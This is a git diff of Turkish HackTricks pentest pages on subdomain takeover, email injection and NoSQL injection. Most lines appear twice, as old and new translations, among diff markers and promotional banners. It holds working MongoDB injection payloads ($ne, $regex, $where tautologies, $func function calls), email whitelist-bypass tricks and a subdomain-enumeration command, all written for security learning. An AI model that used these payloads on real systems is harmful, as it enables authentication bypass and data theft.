Alt alan ele geçirme kontrolleri, BBOT'un varsayılan alt alan numaralandırmasına dahildir. İmzalar doğrudan [https://github.com/EdOverflow/can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz)'den alınır.
Alt alan ele geçirme kontrolleri, BBOT'un varsayılan alt alan numaralandırmasına dahildir. İmzalar doğrudan [https://github.com/EdOverflow/can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz) adresinden alınır.
```bash
bbot -t evilcorp.com -f subdomain-enum
```
### DNS Yerine Göre Alt Alan Adı Ele Geçirme
### DNS Yabancı Ana Bilgisayar Adı ile Alt Alan Adı Ele Geçirme
Bir alan adında DNS yıldız karakteri kullanıldığında, açıkça farklı bir adresi olmayan o alan adının herhangi bir istenilen alt alanı **aynı bilgiye çözümlenecektir**. Bu bir A ip adresi, bir CNAME olabilir...
Bir alan adında DNS yabancı ana bilgisayar adı kullanıldığında, açıkça farklı bir adresi olmayan o alan adının herhangi bir istenilen alt alanı **aynı bilgilere çözümlenecektir**. Bu bir A ip adresi, bir CNAME olabilir...
Örneğin, `*.testing.com` `1.1.1.1` olarak yıldızlandığında, `not-existent.testing.com` `1.1.1.1`e işaret edecektir.
Örneğin, `*.testing.com` `1.1.1.1`'e yabancı ana bilgisayar adı olarak ayarlandığında, `not-existent.testing.com` `1.1.1.1`'e işaret edecektir.
Ancak, IP adresine işaret etmek yerine, sistem yöneticisi bunu **CNAME aracılığıyla üçüncü taraf hizmetine işaret ederse**, örneğin bir **github alt alanı** (`sohomdatta1.github.io`). Bir saldırgan **kendi üçüncü taraf sayfasını** (bu durumda Github'ta) oluşturabilir ve `something.testing.com`in oraya işaret ettiğini söyleyebilir. Çünkü **CNAME yıldız karakteri** saldırganın, **kurbanın alan adı için kendi sayfalarına işaret eden keyfi alt alanlar oluşturmasına izin verecektir**.
Ancak, bir IP adresine işaret etmek yerine, sistem yöneticisi bunu **CNAME aracılığıyla üçüncü taraf hizmetine işaret ederse**, örneğin bir **github alt alanı** (`sohomdatta1.github.io`). Bir saldırgan **kendi üçüncü taraf sayfasını** (bu durumda Github'ta) oluşturabilir ve `something.testing.com`'un oraya işaret ettiğini söyleyebilir. Çünkü **CNAME yabancı ana bilgisayar adı** saldırganın, kurbanın alan adı için **kendi sayfalarına işaret eden keyfi alt alanlar oluşturmasına izin verecektir**.
Bu zafiyetin bir örneğini CTF yazısında bulabilirsiniz: [https://ctf.zeyu2001.com/2022/nitectf-2022/undocumented-js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/undocumented-js-api)
## Bir alt alan ele geçirme
## Alt Alan Adı Ele Geçirme Sömürüsü
Alt alan ele geçirme aslında internet üzerinde belirli bir alan adı için DNS sahteciliğidir ve saldırganlara bir alan adı için A kayıtları ayarlamalarına izin verir, tarayıcıları saldırganın sunucusundan içerik göstermeye yönlendirir. Bu **tarayıcılardaki şeffaflık**, alan adlarını dolandırıcılığa karşı savunmasız hale getirir. Saldırganlar bu amaçla [_tutarsızlık_](https://en.wikipedia.org/wiki/Typosquatting) veya [_Doppelganger alanları_](https://en.wikipedia.org/wiki/Doppelg%C3%A4nger) kullanabilir. Özellikle, bir dolandırıcılık e-postasındaki URL'nin meşru görünmesi, kullanıcıları aldatması ve alan adının doğal güveni nedeniyle spam filtrelerinden kaçınması nedeniyle alanlar savunmasızdır.
Alt alan adı ele geçirme aslında internet üzerinde belirli bir alan adı için DNS sahteciliğidir ve saldırganlara bir alan adı için A kayıtları ayarlamalarına izin verir, tarayıcıları saldırganın sunucusundan içerik göstermeye yönlendirir. Bu tarayıcılardaki **şeffaflık**, alan adlarını dolandırıcılığa karşı savunmasız hale getirir. Saldırganlar bu amaçla [_tutarsızlık_](https://en.wikipedia.org/wiki/Typosquatting) veya [_Doppelganger alanları_](https://en.wikipedia.org/wiki/Doppelg%C3%A4nger) kullanabilir. Özellikle, bir dolandırıcılık e-postasındaki URL'nin meşru görünmesi, kullanıcıları aldatması ve alan adının doğal güveni nedeniyle spam filtrelerinden kaçınmasına neden olabilir.
Daha fazla ayrıntı için bu [gönderiye bakın](https://0xpatrik.com/subdomain-takeover/)
@ -73,15 +73,15 @@ Saldırganlar tarafından [_Let's Encrypt_](https://letsencrypt.org/) gibi hizme
### **Çerez Güvenliği ve Tarayıcı Şeffaflığı**
Tarayıcı şeffaflığı ayrıca çerez güvenliğine de uzanır, [Aynı köken politikası](https://en.wikipedia.org/wiki/Same-origin\_policy) gibi politikalar tarafından yönetilir. Oturumları yönetmek ve giriş belirteçlerini saklamak için sık kullanılan çerezler, alt alan ele geçirme yoluyla kötüye kullanılabilir. Saldırganlar, kullanıcıları tehlikeye atarak oturum çerezlerini **toplayabilir**, basitçe kullanıcıları tehlikeye atan bir alt alana yönlendirerek kullanıcı verilerini ve gizliliğini tehlikeye atabilir.
Tarayıcı şeffaflığı ayrıca çerez güvenliğine de uzanır ve [Aynı köken politikası](https://en.wikipedia.org/wiki/Same-origin\_policy) gibi politikalar tarafından yönetilir. Oturumları yönetmek ve giriş belirteçlerini saklamak için sıkça kullanılan çerezler, alt alan ele geçirme yoluyla sömürülebilir. Saldırganlar, kullanıcıları tehlikeye atarak oturum çerezlerini **toplayabilir**, basitçe kullanıcıları tehlikeye atarak oturum çerezlerini toplayabilir, kullanıcı verilerini ve gizliliğini tehlikeye atabilir.
### **E-postalar ve Alt Alan Ele Geçirme**
### **E-postalar ve Alt Alan Adı Ele Geçirme**
Alt alan ele geçirmenin başka bir yönü de e-posta hizmetlerini içerir. Saldırganlar, meşru bir alt alan üzerinden e-posta almak veya göndermek için **MX kayıtlarını manipüle edebilir**, dolandırıcılık saldırılarının etkinliğini artırır.
Alt alan ele geçirmenin başka bir yönü de e-posta hizmetlerini içerir. Saldırganlar, meşru bir alt alan adından e-posta almak veya göndermek için **MX kayıtlarını** manipüle edebilir, dolandırıcılık saldırılarının etkinliğini artırabilir.
### **Daha Yüksek Düzey Riskler**
Daha fazla riskler arasında **NS kaydı ele geçirme** bulunmaktadır. Bir saldırgan bir alanın bir NS kaydını ele geçirirse, potansiyel olarak trafiğin bir kısmını kendi kontrolündeki bir sunucuya yönlendirebilir. Bu risk, saldırganın DNS kayıtları için yüksek bir **TTL (Yaşam Süresi)** belirlemesi durumunda artar, saldırının süresini uzatır.
Daha fazla riskler arasında **NS kaydı ele geçirme** bulunmaktadır. Bir saldırgan bir alan adının bir NS kaydı üzerinde kontrol kazanırsa, trafiğin bir kısmını kendi kontrolündeki bir sunucuya yönlendirebilir. Bu risk, saldırganın DNS kayıtları için yüksek bir **TTL (Yaşam Süresi)** ayarlaması durumunda artar, saldırının süresini uzatarak.
### CNAME Kaydı Zafiyeti
@ -93,9 +93,9 @@ Hafifletme stratejileri şunları içerir:
1. **Zararlı DNS kayıtlarını kaldırma** - Bu, alt alan artık gereksizse etkilidir.
2. **Alan adını talep etme** - Kaynağı ilgili bulut sağlayıcıyla kaydetmek veya süresi dolmuş bir alan adını yeniden satın almak.
3. **Zafiyetler için düzenli izleme** - [aquatone](https://github.com/michenriksen/aquatone) gibi araçlar, savunmasız alanları tanımlamaya yardımcı olabilir. Kuruluşlar ayrıca altyapı yönetim süreçlerini gözden geçirmeli ve DNS kaydı oluşturmanın kaynağın oluşturulmasının son adımı ve kaynağın yok edilmesinin ilk adımı olduğundan emin olmalıdır.
3. **Zafiyetler için düzenli izleme** - [aquatone](https://github.com/michenriksen/aquatone) gibi araçlar, hassas alanları tanımlamaya yardımcı olabilir. Kuruluşlar ayrıca altyapı yönetim süreçlerini gözden geçirmeli ve DNS kaydı oluşturmanın kaynak oluşturmanın son adımı ve kaynağın yok edilmesinin ilk adımı olduğundan emin olmalıdır.
Bulut sağlayıcılar için, alt alan ele geçirmelerini önlemek için alan sahipliğini doğrulamak önemlidir. [GitLab](https://about.gitlab.com/2018/02/05/gitlab-pages-custom-domain-validation/) gibi bazıları, bu sorunu tanımış ve alan doğrulama mekanizmaları uygulamıştır.
Bulut sağlayıcılar için, alt alan ele geçirmeleri önlemek için alan adı sahipliğinin doğrulanması önemlidir. Bazıları, [GitLab](https://about.gitlab.com/2018/02/05/gitlab-pages-custom-domain-validation/) gibi, bu sorunu tanımış ve alan doğrulama mekanizmaları uygulamıştır.
## Referanslar
@ -104,21 +104,21 @@ Bulut sağlayıcılar için, alt alan ele geçirmelerini önlemek için alan sah
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=domain-subdomain-takeover) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=domain-subdomain-takeover" %}
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmaya kadar AWS hackleme öğrenin!</summary>
<summary><strong>htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da takip edin 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.**
</details>

View file

@ -3,26 +3,26 @@
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen ve kolayca **otomatikleştirilmiş iş akışları** oluşturun.\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=email-injections) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Edinin:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Şirketinizi HackTricks'te reklam görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
## Gönderilen e-postaya enjekte et
## Gönderilen e-postaya enjekte edin
### Gönderen argümanından sonra Cc ve Bcc enjekte edin
```
@ -62,7 +62,7 @@ Parameter #4 [ <optional> $additional_parameters ]
```
#### 5. Parametre ($additional\_parameters)
Bu bölüm, **saldırganın kontrol ettiği varsayılan bu parametreyi nasıl kötüye kullanabileceğine** odaklanacaktır.
Bu bölüm, **saldırganın bu parametreyi kontrol ettiği varsayılarak nasıl kötüye kullanılacağına** dayanacaktır.
Bu parametre, PHP'nin, ikili sendmail'i çağırmak için kullanacağı komut satırına eklenecektir. Bununla birlikte, bu parametre, `escapeshellcmd($additional_parameters)` işlevi ile temizlenecektir.
@ -70,29 +70,29 @@ Bir saldırgan bu durumda **sendmail için ek parametreler enjekte edebilir**.
#### /usr/sbin/sendmail'in uygulamasındaki farklılıklar
**sendmail** arayüzü, sistemde yüklü olan MTA e-posta yazılımı (Sendmail, Postfix, Exim vb.) tarafından **sağlanır**. Temel işlevsellik (-t -i -f parametreleri gibi) uyumluluk nedenleriyle **aynı kalırken**, **diğer işlevler ve parametreler** yüklenen MTA'ya bağlı olarak büyük ölçüde değişebilir.
**sendmail** arayüzü, sistemde yüklü olan MTA e-posta yazılımı (Sendmail, Postfix, Exim vb.) tarafından **sağlanır**. Temel işlevsellik (-t -i -f parametreleri gibi) uyumluluk nedeniyle **aynı kalırken**, **diğer işlevler ve parametreler** yüklenen MTA'ya bağlı olarak büyük ölçüde değişir.
İşte sendmail komutu/arayüzünün farklı man sayfalarına örnekler:
İşte sendmail komut/arayüzünün farklı man sayfalarından bazı örnekler:
* Sendmail MTA: http://www.sendmail.org/\~ca/email/man/sendmail.html
* Postfix MTA: http://www.postfix.org/mailq.1.html
* Exim MTA: https://linux.die.net/man/8/eximReferences
**Sendmail'in kökenine** bağlı olarak, bunları kötüye kullanmak ve **dosyaları sızdırmak veya hatta keyfi komutlar yürütmek** için farklı seçenekler keşfedilmiştir. Nasıl yapıldığını kontrol edin [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
**Sendmail'in kökenine** bağlı olarak, bunları kötüye kullanmak ve dosyaları sızdırmak veya hatta keyfi komutlar **çalıştırmak için farklı seçenekler keşfedilmiştir**. Nasıl yapıldığını kontrol edin [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
## E-posta adına Enjekte Et
## E-posta adına enjekte et
### E-postanın İhmal Edilen Kısımları
### E-postanın ihmal edilen kısımları
Semboller: **+, -** ve **{}** nadir durumlarda etiketleme için kullanılabilir ve çoğu e-posta sunucusu tarafından ihmal edilir
Semboller: **+, -** ve **{}** nadir durumlarda etiketleme için kullanılabilir ve çoğu e-posta sunucusu tarafından **ihmal edilir**
* Örn. john.doe+intigriti@example.com → john.doe@example.com
Parantezler arasındaki yorumlar () başta veya sonda da ihmal edilecektir
Parantezler arasındaki yorumlar () başta veya sonda da **ihmal edilecektir**
* Örn. john.doe(intigriti)@example.com → john.doe@example.com
### Beyaz Liste Atlatma
### Beyaz liste atlatma
<figure><img src="../.gitbook/assets/image (812).png" alt="https://www.youtube.com/watch?app=desktop&#x26;v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
@ -107,7 +107,7 @@ Kare parantezler arasında alan adı olarak IP'leri de kullanabilirsiniz:
* john.doe@\[127.0.0.1]
* john.doe@\[IPv6:2001:db8::1]
### Diğer Zafiyetler
### Diğer zafiyetler
![https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](<../.gitbook/assets/image (1131).png>)
@ -115,22 +115,22 @@ Kare parantezler arasında alan adı olarak IP'leri de kullanabilirsiniz:
### XSS
**Github** veya **salesforce** gibi bazı hizmetler, üzerinde **XSS yükleri olan bir e-posta adresi oluşturmanıza izin verir**. Bu sağlayıcıları **başka hizmetlere giriş yapmak için kullanabilir** ve bu hizmetler **e-postayı doğru bir şekilde temizlemiyorsa**, **XSS** oluşturabilirsiniz.
**Github** veya **salesforce** gibi bazı hizmetler, **XSS yükleri içeren bir e-posta adresi oluşturmanıza izin verir**. Bu sağlayıcıları **başka hizmetlere giriş yapmak için kullanabilirseniz** ve bu hizmetler e-postayı **doğru bir şekilde temizlemiyorsa**, **XSS** oluşturabilirsiniz.
### Hesap Ele Geçirme
Bir **SSO hizmeti**, verilen e-posta adresini doğrulamadan bir hesap oluşturmanıza izin veriyorsa (örneğin **salesforce**) ve daha sonra bu hesabı kullanarak salesforce'a güvenen başka bir hizmete giriş yapabilirseniz, herhangi bir hesaba erişebilirsiniz.\
_Satılan e-postanın doğrulanıp doğrulanmadığını salesforce belirtir ancak uygulama bu bilgiyi dikkate almalıdır._
_Unutulmamalıdır ki salesforce, verilen e-postanın doğrulanıp doğrulanmadığını belirtir ancak uygulama bu bilgiyi dikkate almalıdır._
## Yanıt Adresi
_E-posta göndermek için_ **From: company.com** _ve_ **Replay-To: attacker.com** _kullanabilir ve e-posta, iç adreslerden gönderildiği için otomatik bir yanıt gönderilirse, **saldırgan** o **yanıtı alabilir**._
**_Gönderen: şirket.com_** ve **_Yanıt Adresi: saldırgan.com_** kullanarak bir e-posta gönderebilir ve eğer e-posta **içeriden bir adresten gönderildiyse** otomatik bir yanıt gönderilirse, **saldırgan** o **yanıtı alabilir**.
## Sert Geri Dönüş Oranı
AWS gibi belirli hizmetler, genellikle %10 olarak belirlenen **Sert Geri Dönüş Oranı** adı verilen bir eşiği uygular. Bu, özellikle e-posta teslimat hizmetleri için kritik bir metriktir. Bu oran aşıldığında, AWS'nin e-posta hizmeti gibi bir hizmet, e-posta gönderme yeteneklerinizi askıya alabilir veya engelleyebilir.
**Sert geri dönüş**, alıcının adresinin geçersiz veya mevcut olmaması nedeniyle gönderene geri döndürülen bir e-postayı ifade eder. Bu, e-postanın mevcut olmayan bir adrese, gerçek olmayan bir alan adına veya alıcının sunucusunun e-postaları kabul etmeyi reddetmesi gibi çeşitli nedenlerle olabilir.
**Sert geri dönüş**, alıcının adresinin geçersiz veya mevcut olmaması nedeniyle gönderene geri döndürülen bir e-postayı ifade eder. Bu, e-postanın mevcut olmayan bir adrese, gerçek olmayan bir alan adına veya alıcı sunucusunun e-postaları kabul etmeyi reddetmesi gibi çeşitli nedenlerden kaynaklanabilir.
AWS bağlamında, 1000 e-posta gönderirseniz ve bunlardan 100'ü sert geri dönüşlerle sonuçlanırsa (geçersiz adresler veya alanlar gibi nedenlerden dolayı), bu %10'luk bir sert geri dönüş oranı anlamına gelir. Bu oranı aşmak, AWS SES (Basit E-posta Hizmeti) hizmetini e-posta gönderme yeteneklerinizi engellemek veya askıya almak için tetikleyebilir.
@ -151,18 +151,18 @@ Daha detaylı bilgi için, AWS'nin sert geri dönüşler ve şikayetlerle başa
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerine göz atın**](https://peass.creator-spring.com)
* [**The PEASS Family'yi keşfedin**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.**
* [**The PEASS Family'yi keşfedin**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek **hacking püf noktalarınızı paylaşın**.
</details>
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturmak ve otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\
Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturmak ve otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=email-injections)'i kullanın.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}

View file

@ -3,30 +3,30 @@
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **otomatik iş akışlarını** kolayca oluşturun ve otomatikleştirin.\
Bugün Erişim Alın:
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=nosql-injection) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
Bugün Erişim Edinin:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=nosql-injection" %}
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR'lar gönderin.
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
## Sömürü
PHP'de bir Dizi gönderebilirsiniz, gönderilen parametreyi _parameter=foo_ dan _parameter\[arrName]=foo_ olarak değiştirerek.
PHP'de, gönderilen parametreyi _parameter=foo_ yerine _parameter\[arrName]=foo_ olarak değiştirerek bir Dizi gönderebilirsiniz.
Sömürüler bir **Operatör** eklemeye dayanmaktadır:
Sömürüler, bir **Operatör** ekleyerek yapılır:
```bash
username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
@ -55,18 +55,18 @@ username[$exists]=true&password[$exists]=true
```javascript
query = { $where: `this.username == '${username}'` }
```
Bir saldırgan, sorguyu bir tautoloji (`'a'=='a'`) ile karşılayarak tüm belgeleri döndüren `admin' || 'a'=='a` gibi dizeleri girdiği zaman bunu sömürebilir. Bu, SQL enjeksiyon saldırılarına benzer şekilde çalışır, burada `' or 1=1-- -` gibi girdiler SQL sorgularını manipüle etmek için kullanılır. MongoDB'de, `' || 1==1//`, `' || 1==1%00` veya `admin' || 'a'=='a` gibi girdiler kullanılarak benzer enjeksiyonlar yapılabilir.
Bir saldırgan, sorguyu bir tautoloji (`'a'=='a'`) ile karşılayarak tüm belgeleri döndüren `admin' || 'a'=='a` gibi dizeleri girdi girerek bunu sömürebilir. Bu, SQL enjeksiyon saldırılarına benzerdir; burada `' or 1=1-- -` gibi girdiler kullanılarak SQL sorguları manipüle edilir. MongoDB'de, benzer enjeksiyonlar `' || 1==1//`, `' || 1==1%00` veya `admin' || 'a'=='a` gibi girdiler kullanılarak yapılabilir.
```
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
```
### Uzunluk bilgilerini çıkarın
### Uzunluk bilgisini çıkarın
```bash
username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...
```
### Veri bilgilerini **çıkartın**
### Veri bilgilerini **çıkarın**
```
in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
@ -98,7 +98,7 @@ in JSON
```
### PHP Keyfi Fonksiyon Yürütme
Varsayılan olarak kullanılan [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) kütüphanesinin **$func** operatörünü kullanarak, [bu raporda](https://swarm.ptsecurity.com/rce-cockpit-cms/) olduğu gibi keyfi bir fonksiyon yürütmek mümkün olabilir.
Varsayılan olarak kullanılan [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) kütüphanesinin **$func** operatörünü kullanarak [bu raporda](https://swarm.ptsecurity.com/rce-cockpit-cms/) olduğu gibi keyfi bir fonksiyon yürütmek mümkün olabilir.
```python
"user":{"$func": "var_dump"}
```
@ -106,9 +106,9 @@ Varsayılan olarak kullanılan [MongoLite](https://github.com/agentejo/cockpit/t
### Farklı koleksiyondan bilgi alın
Farklı bir koleksiyondan bilgi almak için [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) kullanmak mümkündür. Aşağıdaki örnekte, **`users`** adlı **farklı bir koleksiyondan** okuma yapıyoruz ve bir jokerle eşleşen şifreye sahip **tüm girişlerin sonuçlarını** alıyoruz.
Farklı bir koleksiyondan bilgi almak için [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) kullanmak mümkündür. Aşağıdaki örnekte, **`users`** adlı **farklı bir koleksiyondan** okuma yapıyoruz ve bir jokerle eşleşen bir şifreye sahip tüm girişlerin sonuçlarını alıyoruz.
**NOT:** `$lookup` ve diğer birleştirme işlevleri, aramanın daha yaygın olan `find()` veya `findOne()` işlevleri yerine gerçekleştirilmesi durumunda yalnızca kullanılabilir.
